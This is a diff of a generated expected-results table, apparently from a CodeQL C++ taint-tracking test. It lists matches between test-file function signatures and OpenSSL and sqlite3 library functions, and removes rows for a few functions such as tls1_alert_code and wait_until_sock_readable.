| -| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | pulldown_test_framework | 0 | | movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | sqlite3_compileoption_get | 0 | | movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | sqlite3_errstr | 0 | -| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | tls1_alert_code | 0 | | movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | tls13_alert_code | 0 | -| movableclass.cpp:8:2:8:15 | MyMovableClass | (int) | | wait_until_sock_readable | 0 | | set.cpp:8:6:8:9 | sink | (char *) | | SRP_VBASE_new | 0 | | set.cpp:8:6:8:9 | sink | (char *) | | defossilize | 0 | | set.cpp:8:6:8:9 | sink | (char *) | | make_uppercase | 0 | @@ -4616,12 +4541,9 @@ signatureMatches | smart_pointer.cpp:4:6:4:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | | smart_pointer.cpp:4:6:4:9 | sink | (int) | | ossl_tolower | 0 | | smart_pointer.cpp:4:6:4:9 | sink | (int) | | ossl_toupper | 0 | -| smart_pointer.cpp:4:6:4:9 | sink | (int) | | pulldown_test_framework | 0 | | smart_pointer.cpp:4:6:4:9 | sink | (int) | | sqlite3_compileoption_get | 0 | | smart_pointer.cpp:4:6:4:9 | sink | (int) | | sqlite3_errstr | 0 | -| smart_pointer.cpp:4:6:4:9 | sink | (int) | | tls1_alert_code | 0 | | smart_pointer.cpp:4:6:4:9 | sink | (int) | | tls13_alert_code | 0 | -| smart_pointer.cpp:4:6:4:9 | sink | (int) | | wait_until_sock_readable | 0 | | standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ASN1_STRING_type_new | 0 | | standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ASN1_tag2bit | 0 | | standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ASN1_tag2str | 0 | @@ -4644,12 +4566,9 @@ signatureMatches | standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | | standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ossl_tolower | 0 | | standalone_iterators.cpp:5:6:5:9 | sink | (int) | | ossl_toupper | 0 | -| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | pulldown_test_framework | 0 | | standalone_iterators.cpp:5:6:5:9 | sink | (int) | | sqlite3_compileoption_get | 0 | | standalone_iterators.cpp:5:6:5:9 | sink | (int) | | sqlite3_errstr | 0 | -| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | tls1_alert_code | 0 | | standalone_iterators.cpp:5:6:5:9 | sink | (int) | | tls13_alert_code | 0 | -| standalone_iterators.cpp:5:6:5:9 | sink | (int) | | wait_until_sock_readable | 0 | | standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ASN1_STRING_type_new | 0 | | standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ASN1_tag2bit | 0 | | standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ASN1_tag2str | 0 | @@ -4672,12 +4591,9 @@ signatureMatches | standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | | standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ossl_tolower | 0 | | standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | ossl_toupper | 0 | -| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | pulldown_test_framework | 0 | | standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | sqlite3_compileoption_get | 0 | | standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | sqlite3_errstr | 0 | -| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | tls1_alert_code | 0 | | standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | tls13_alert_code | 0 | -| standalone_iterators.cpp:16:30:16:39 | operator++ | (int) | | wait_until_sock_readable | 0 | | standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ASN1_STRING_type_new | 0 | | standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ASN1_tag2bit | 0 | | standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ASN1_tag2str | 0 | @@ -4700,12 +4616,9 @@ signatureMatches | standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | | standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ossl_tolower | 0 | | standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | ossl_toupper | 0 | -| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | pulldown_test_framework | 0 | | standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | sqlite3_compileoption_get | 0 | | standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | sqlite3_errstr | 0 | -| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | tls1_alert_code | 0 | | standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | tls13_alert_code | 0 | -| standalone_iterators.cpp:23:27:23:36 | operator++ | (int) | | wait_until_sock_readable | 0 | | standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ASN1_STRING_type_new | 0 | | standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ASN1_tag2bit | 0 | | standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ASN1_tag2str | 0 | @@ -4728,12 +4641,9 @@ signatureMatches | standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | | standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ossl_tolower | 0 | | standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | ossl_toupper | 0 | -| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | pulldown_test_framework | 0 | | standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | sqlite3_compileoption_get | 0 | | standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | sqlite3_errstr | 0 | -| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | tls1_alert_code | 0 | | standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | tls13_alert_code | 0 | -| standalone_iterators.cpp:39:18:39:27 | operator++ | (int) | | wait_until_sock_readable | 0 | | standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ASN1_STRING_type_new | 0 | | standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ASN1_tag2bit | 0 | | standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ASN1_tag2str | 0 | @@ -4756,12 +4666,9 @@ signatureMatches | standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ossl_cmp_bodytype_to_string | 0 | | standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ossl_tolower | 0 | | standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | ossl_toupper | 0 | -| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | pulldown_test_framework | 0 | | standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | sqlite3_compileoption_get | 0 | | standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | sqlite3_errstr | 0 | -| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | tls1_alert_code | 0 | | standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | tls13_alert_code | 0 | -| standalone_iterators.cpp:66:30:66:39 | operator++ | (int) | | wait_until_sock_readable | 0 | | standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ASN1_STRING_type_new | 0 | | standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ASN1_tag2bit | 0 | | standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ASN1_tag2str | 0 | @@ -4784,12 +4691,9 @@ signatureMatches | standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ossl_cmp_bodytype_to_string | 0 | | standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ossl_tolower | 0 | | standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | ossl_toupper | 0 | -| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | pulldown_test_framework | 0 | | standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | sqlite3_compileoption_get | 0 | | standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | sqlite3_errstr | 0 | -| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | tls1_alert_code | 0 | | standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | tls13_alert_code | 0 | -| standalone_iterators.cpp:68:30:68:39 | operator-- | (int) | | wait_until_sock_readable | 0 | | standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ASN1_STRING_type_new | 0 | | standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ASN1_tag2bit | 0 | | standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ASN1_tag2str | 0 | @@ -4812,12 +4716,9 @@ signatureMatches | standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ossl_cmp_bodytype_to_string | 0 | | standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ossl_tolower | 0 | | standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | ossl_toupper | 0 | -| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | pulldown_test_framework | 0 | | standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | sqlite3_compileoption_get | 0 | | standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | sqlite3_errstr | 0 | -| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | tls1_alert_code | 0 | | standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | tls13_alert_code | 0 | -| standalone_iterators.cpp:70:31:70:39 | operator= | (int) | | wait_until_sock_readable | 0 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | | standalone_iterators.cpp:103:27:103:36 | operator+= | (BIGNUM *,int) | | BN_clear_bit | 1 | @@ -5217,11 +5118,6 @@ signatureMatches | stl.h:52:12:52:21 | operator++ | (int) | | ossl_toupper | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | ossl_toupper | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | ossl_toupper | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | pulldown_test_framework | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_compileoption_get | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_compileoption_get | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_compileoption_get | 0 | @@ -5232,21 +5128,11 @@ signatureMatches | stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_errstr | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_errstr | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | sqlite3_errstr | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | tls1_alert_code | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | | stl.h:52:12:52:21 | operator++ | (int) | | tls13_alert_code | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | -| stl.h:52:12:52:21 | operator++ | (int) | | wait_until_sock_readable | 0 | | stl.h:54:12:54:21 | operator-- | (int) | | ASN1_STRING_type_new | 0 | | stl.h:54:12:54:21 | operator-- | (int) | | ASN1_tag2bit | 0 | | stl.h:54:12:54:21 | operator-- | (int) | | ASN1_tag2str | 0 | @@ -5269,12 +5155,9 @@ signatureMatches | stl.h:54:12:54:21 | operator-- | (int) | | ossl_cmp_bodytype_to_string | 0 | | stl.h:54:12:54:21 | operator-- | (int) | | ossl_tolower | 0 | | stl.h:54:12:54:21 | operator-- | (int) | | ossl_toupper | 0 | -| stl.h:54:12:54:21 | operator-- | (int) | | pulldown_test_framework | 0 | | stl.h:54:12:54:21 | operator-- | (int) | | sqlite3_compileoption_get | 0 | | stl.h:54:12:54:21 | operator-- | (int) | | sqlite3_errstr | 0 | -| stl.h:54:12:54:21 | operator-- | (int) | | tls1_alert_code | 0 | | stl.h:54:12:54:21 | operator-- | (int) | | tls13_alert_code | 0 | -| stl.h:54:12:54:21 | operator-- | (int) | | wait_until_sock_readable | 0 | | stl.h:59:12:59:20 | operator+ | (int) | | ASN1_STRING_type_new | 0 | | stl.h:59:12:59:20 | operator+ | (int) | | ASN1_tag2bit | 0 | | stl.h:59:12:59:20 | operator+ | (int) | | ASN1_tag2str | 0 | @@ -5297,12 +5180,9 @@ signatureMatches | stl.h:59:12:59:20 | operator+ | (int) | | ossl_cmp_bodytype_to_string | 0 | | stl.h:59:12:59:20 | operator+ | (int) | | ossl_tolower | 0 | | stl.h:59:12:59:20 | operator+ | (int) | | ossl_toupper | 0 | -| stl.h:59:12:59:20 | operator+ | (int) | | pulldown_test_framework | 0 | | stl.h:59:12:59:20 | operator+ | (int) | | sqlite3_compileoption_get | 0 | | stl.h:59:12:59:20 | operator+ | (int) | | sqlite3_errstr | 0 | -| stl.h:59:12:59:20 | operator+ | (int) | | tls1_alert_code | 0 | | stl.h:59:12:59:20 | operator+ | (int) | | tls13_alert_code | 0 | -| stl.h:59:12:59:20 | operator+ | (int) | | wait_until_sock_readable | 0 | | stl.h:60:12:60:20 | operator- | (int) | | ASN1_STRING_type_new | 0 | | stl.h:60:12:60:20 | operator- | (int) | | ASN1_tag2bit | 0 | | stl.h:60:12:60:20 | operator- | (int) | | ASN1_tag2str | 0 | @@ -5325,12 +5205,9 @@ signatureMatches | stl.h:60:12:60:20 | operator- | (int) | | ossl_cmp_bodytype_to_string | 0 | | stl.h:60:12:60:20 | operator- | (int) | | ossl_tolower | 0 | | stl.h:60:12:60:20 | operator- | (int) | | ossl_toupper | 0 | -| stl.h:60:12:60:20 | operator- | (int) | | pulldown_test_framework | 0 | | stl.h:60:12:60:20 | operator- | (int) | | sqlite3_compileoption_get | 0 | | stl.h:60:12:60:20 | operator- | (int) | | sqlite3_errstr | 0 | -| stl.h:60:12:60:20 | operator- | (int) | | tls1_alert_code | 0 | | stl.h:60:12:60:20 | operator- | (int) | | tls13_alert_code | 0 | -| stl.h:60:12:60:20 | operator- | (int) | | wait_until_sock_readable | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | ASN1_STRING_type_new | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | ASN1_STRING_type_new | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | ASN1_tag2bit | 0 | @@ -5375,18 +5252,12 @@ signatureMatches | stl.h:61:13:61:22 | operator+= | (int) | | ossl_tolower | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | ossl_toupper | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | ossl_toupper | 0 | -| stl.h:61:13:61:22 | operator+= | (int) | | pulldown_test_framework | 0 | -| stl.h:61:13:61:22 | operator+= | (int) | | pulldown_test_framework | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | sqlite3_compileoption_get | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | sqlite3_compileoption_get | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | sqlite3_errstr | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | sqlite3_errstr | 0 | -| stl.h:61:13:61:22 | operator+= | (int) | | tls1_alert_code | 0 | -| stl.h:61:13:61:22 | operator+= | (int) | | tls1_alert_code | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | tls13_alert_code | 0 | | stl.h:61:13:61:22 | operator+= | (int) | | tls13_alert_code | 0 | -| stl.h:61:13:61:22 | operator+= | (int) | | wait_until_sock_readable | 0 | -| stl.h:61:13:61:22 | operator+= | (int) | | wait_until_sock_readable | 0 | | stl.h:62:13:62:22 | operator-= | (int) | | ASN1_STRING_type_new | 0 | | stl.h:62:13:62:22 | operator-= | (int) | | ASN1_tag2bit | 0 | | stl.h:62:13:62:22 | operator-= | (int) | | ASN1_tag2str | 0 | @@ -5409,12 +5280,9 @@ signatureMatches | stl.h:62:13:62:22 | operator-= | (int) | | ossl_cmp_bodytype_to_string | 0 | | stl.h:62:13:62:22 | operator-= | (int) | | ossl_tolower | 0 | | stl.h:62:13:62:22 | operator-= | (int) | | ossl_toupper | 0 | -| stl.h:62:13:62:22 | operator-= | (int) | | pulldown_test_framework | 0 | | stl.h:62:13:62:22 | operator-= | (int) | | sqlite3_compileoption_get | 0 | | stl.h:62:13:62:22 | operator-= | (int) | | sqlite3_errstr | 0 | -| stl.h:62:13:62:22 | operator-= | (int) | | tls1_alert_code | 0 | | stl.h:62:13:62:22 | operator-= | (int) | | tls13_alert_code | 0 | -| stl.h:62:13:62:22 | operator-= | (int) | | wait_until_sock_readable | 0 | | stl.h:64:18:64:27 | operator[] | (int) | | ASN1_STRING_type_new | 0 | | stl.h:64:18:64:27 | operator[] | (int) | | ASN1_tag2bit | 0 | | stl.h:64:18:64:27 | operator[] | (int) | | ASN1_tag2str | 0 | @@ -5437,12 +5305,9 @@ signatureMatches | stl.h:64:18:64:27 | operator[] | (int) | | ossl_cmp_bodytype_to_string | 0 | | stl.h:64:18:64:27 | operator[] | (int) | | ossl_tolower | 0 | | stl.h:64:18:64:27 | operator[] | (int) | | ossl_toupper | 0 | -| stl.h:64:18:64:27 | operator[] | (int) | | pulldown_test_framework | 0 | | stl.h:64:18:64:27 | operator[] | (int) | | sqlite3_compileoption_get | 0 | | stl.h:64:18:64:27 | operator[] | (int) | | sqlite3_errstr | 0 | -| stl.h:64:18:64:27 | operator[] | (int) | | tls1_alert_code | 0 | | stl.h:64:18:64:27 | operator[] | (int) | | tls13_alert_code | 0 | -| stl.h:64:18:64:27 | operator[] | (int) | | wait_until_sock_readable | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | ASN1_STRING_type_new | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | ASN1_STRING_type_new | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | ASN1_tag2bit | 0 | @@ -5487,18 +5352,12 @@ signatureMatches | stl.h:91:24:91:33 | operator++ | (int) | | ossl_tolower | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | ossl_toupper | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | ossl_toupper | 0 | -| stl.h:91:24:91:33 | operator++ | (int) | | pulldown_test_framework | 0 | -| stl.h:91:24:91:33 | operator++ | (int) | | pulldown_test_framework | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_compileoption_get | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_compileoption_get | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_errstr | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | sqlite3_errstr | 0 | -| stl.h:91:24:91:33 | operator++ | (int) | | tls1_alert_code | 0 | -| stl.h:91:24:91:33 | operator++ | (int) | | tls1_alert_code | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | tls13_alert_code | 0 | | stl.h:91:24:91:33 | operator++ | (int) | | tls13_alert_code | 0 | -| stl.h:91:24:91:33 | operator++ | (int) | | wait_until_sock_readable | 0 | -| stl.h:91:24:91:33 | operator++ | (int) | | wait_until_sock_readable | 0 | | stl.h:182:17:182:22 | assign | (InputIt,InputIt) | deque | assign | 0 | | stl.h:182:17:182:22 | assign | (InputIt,InputIt) | deque | assign | 1 | | stl.h:182:17:182:22 | assign | (InputIt,InputIt) | forward_list | assign | 0 | @@ -5665,12 +5524,9 @@ signatureMatches | stl.h:240:33:240:42 | operator<< | (int) | | ossl_cmp_bodytype_to_string | 0 | | stl.h:240:33:240:42 | operator<< | (int) | | ossl_tolower | 0 | | stl.h:240:33:240:42 | operator<< | (int) | | ossl_toupper | 0 | -| stl.h:240:33:240:42 | operator<< | (int) | | pulldown_test_framework | 0 | | stl.h:240:33:240:42 | operator<< | (int) | | sqlite3_compileoption_get | 0 | | stl.h:240:33:240:42 | operator<< | (int) | | sqlite3_errstr | 0 | -| stl.h:240:33:240:42 | operator<< | (int) | | tls1_alert_code | 0 | | stl.h:240:33:240:42 | operator<< | (int) | | tls13_alert_code | 0 | -| stl.h:240:33:240:42 | operator<< | (int) | | wait_until_sock_readable | 0 | | stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_cert_flags | 1 | | stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_flags | 1 | | stl.h:243:33:243:37 | write | (ASN1_PCTX *,unsigned long) | | ASN1_PCTX_set_nm_flags | 1 | @@ -5983,7 +5839,6 @@ signatureMatches | string.cpp:17:6:17:9 | sink | (const char *) | | X509_LOOKUP_meth_new | 0 | | string.cpp:17:6:17:9 | sink | (const char *) | | a2i_IPADDRESS | 0 | | string.cpp:17:6:17:9 | sink | (const char *) | | a2i_IPADDRESS_NC | 0 | -| string.cpp:17:6:17:9 | sink | (const char *) | | new_pkcs12_builder | 0 | | string.cpp:17:6:17:9 | sink | (const char *) | | opt_path_end | 0 | | string.cpp:17:6:17:9 | sink | (const char *) | | opt_progname | 0 | | string.cpp:17:6:17:9 | sink | (const char *) | | ossl_lh_strcasehash | 0 | @@ -6059,7 +5914,6 @@ signatureMatches | string.cpp:19:6:19:9 | sink | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | | string.cpp:19:6:19:9 | sink | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | | string.cpp:19:6:19:9 | sink | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | -| string.cpp:19:6:19:9 | sink | (STANZA *,const char *) | | test_start_file | 1 | | string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_add_error_string | 1 | | string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_add_info_string | 1 | | string.cpp:19:6:19:9 | sink | (UI *,const char *) | | UI_dup_error_string | 1 | @@ -6087,8 +5941,6 @@ signatureMatches | string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_strglob | 1 | | string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_stricmp | 0 | | string.cpp:19:6:19:9 | sink | (const char *,const char *) | | sqlite3_stricmp | 1 | -| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | test_mk_file_path | 0 | -| string.cpp:19:6:19:9 | sink | (const char *,const char *) | | test_mk_file_path | 1 | | string.cpp:19:6:19:9 | sink | (int,const char *) | | BIO_meth_new | 1 | | string.cpp:19:6:19:9 | sink | (lemon *,const char *) | | file_makename | 1 | | string.cpp:19:6:19:9 | sink | (size_t *,const char *) | | next_protos_parse | 1 | @@ -6127,12 +5979,9 @@ signatureMatches | stringstream.cpp:13:6:13:9 | sink | (int) | | ossl_cmp_bodytype_to_string | 0 | | stringstream.cpp:13:6:13:9 | sink | (int) | | ossl_tolower | 0 | | stringstream.cpp:13:6:13:9 | sink | (int) | | ossl_toupper | 0 | -| stringstream.cpp:13:6:13:9 | sink | (int) | | pulldown_test_framework | 0 | | stringstream.cpp:13:6:13:9 | sink | (int) | | sqlite3_compileoption_get | 0 | | stringstream.cpp:13:6:13:9 | sink | (int) | | sqlite3_errstr | 0 | -| stringstream.cpp:13:6:13:9 | sink | (int) | | tls1_alert_code | 0 | | stringstream.cpp:13:6:13:9 | sink | (int) | | tls13_alert_code | 0 | -| stringstream.cpp:13:6:13:9 | sink | (int) | | wait_until_sock_readable | 0 | | stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ASN1_STRING_type_new | 0 | | stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ASN1_tag2bit | 0 | | stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ASN1_tag2str | 0 | @@ -6155,12 +6004,9 @@ signatureMatches | stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ossl_cmp_bodytype_to_string | 0 | | stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ossl_tolower | 0 | | stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | ossl_toupper | 0 | -| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | pulldown_test_framework | 0 | | stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | sqlite3_compileoption_get | 0 | | stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | sqlite3_errstr | 0 | -| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | tls1_alert_code | 0 | | stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | tls13_alert_code | 0 | -| stringstream.cpp:26:6:26:29 | test_stringstream_string | (int) | | wait_until_sock_readable | 0 | | stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ASN1_STRING_type_new | 0 | | stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ASN1_tag2bit | 0 | | stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ASN1_tag2str | 0 | @@ -6183,12 +6029,9 @@ signatureMatches | stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ossl_cmp_bodytype_to_string | 0 | | stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ossl_tolower | 0 | | stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | ossl_toupper | 0 | -| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | pulldown_test_framework | 0 | | stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | sqlite3_compileoption_get | 0 | | stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | sqlite3_errstr | 0 | -| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | tls1_alert_code | 0 | | stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | tls13_alert_code | 0 | -| stringstream.cpp:70:6:70:26 | test_stringstream_int | (int) | | wait_until_sock_readable | 0 | | structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ASN1_STRING_type_new | 0 | | structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ASN1_tag2bit | 0 | | structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ASN1_tag2str | 0 | @@ -6211,12 +6054,9 @@ signatureMatches | structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ossl_cmp_bodytype_to_string | 0 | | structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ossl_tolower | 0 | | structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | ossl_toupper | 0 | -| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | pulldown_test_framework | 0 | | structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | sqlite3_compileoption_get | 0 | | structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | sqlite3_errstr | 0 | -| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | tls1_alert_code | 0 | | structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | tls13_alert_code | 0 | -| structlikeclass.cpp:8:2:8:16 | StructLikeClass | (int) | | wait_until_sock_readable | 0 | | taint.cpp:4:6:4:21 | arithAssignments | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | | taint.cpp:4:6:4:21 | arithAssignments | (BIGNUM *,int) | | BN_clear_bit | 1 | @@ -6532,12 +6372,9 @@ signatureMatches | taint.cpp:22:5:22:13 | increment | (int) | | ossl_cmp_bodytype_to_string | 0 | | taint.cpp:22:5:22:13 | increment | (int) | | ossl_tolower | 0 | | taint.cpp:22:5:22:13 | increment | (int) | | ossl_toupper | 0 | -| taint.cpp:22:5:22:13 | increment | (int) | | pulldown_test_framework | 0 | | taint.cpp:22:5:22:13 | increment | (int) | | sqlite3_compileoption_get | 0 | | taint.cpp:22:5:22:13 | increment | (int) | | sqlite3_errstr | 0 | -| taint.cpp:22:5:22:13 | increment | (int) | | tls1_alert_code | 0 | | taint.cpp:22:5:22:13 | increment | (int) | | tls13_alert_code | 0 | -| taint.cpp:22:5:22:13 | increment | (int) | | wait_until_sock_readable | 0 | | taint.cpp:23:5:23:8 | zero | (int) | | ASN1_STRING_type_new | 0 | | taint.cpp:23:5:23:8 | zero | (int) | | ASN1_tag2bit | 0 | | taint.cpp:23:5:23:8 | zero | (int) | | ASN1_tag2str | 0 | @@ -6560,12 +6397,9 @@ signatureMatches | taint.cpp:23:5:23:8 | zero | (int) | | ossl_cmp_bodytype_to_string | 0 | | taint.cpp:23:5:23:8 | zero | (int) | | ossl_tolower | 0 | | taint.cpp:23:5:23:8 | zero | (int) | | 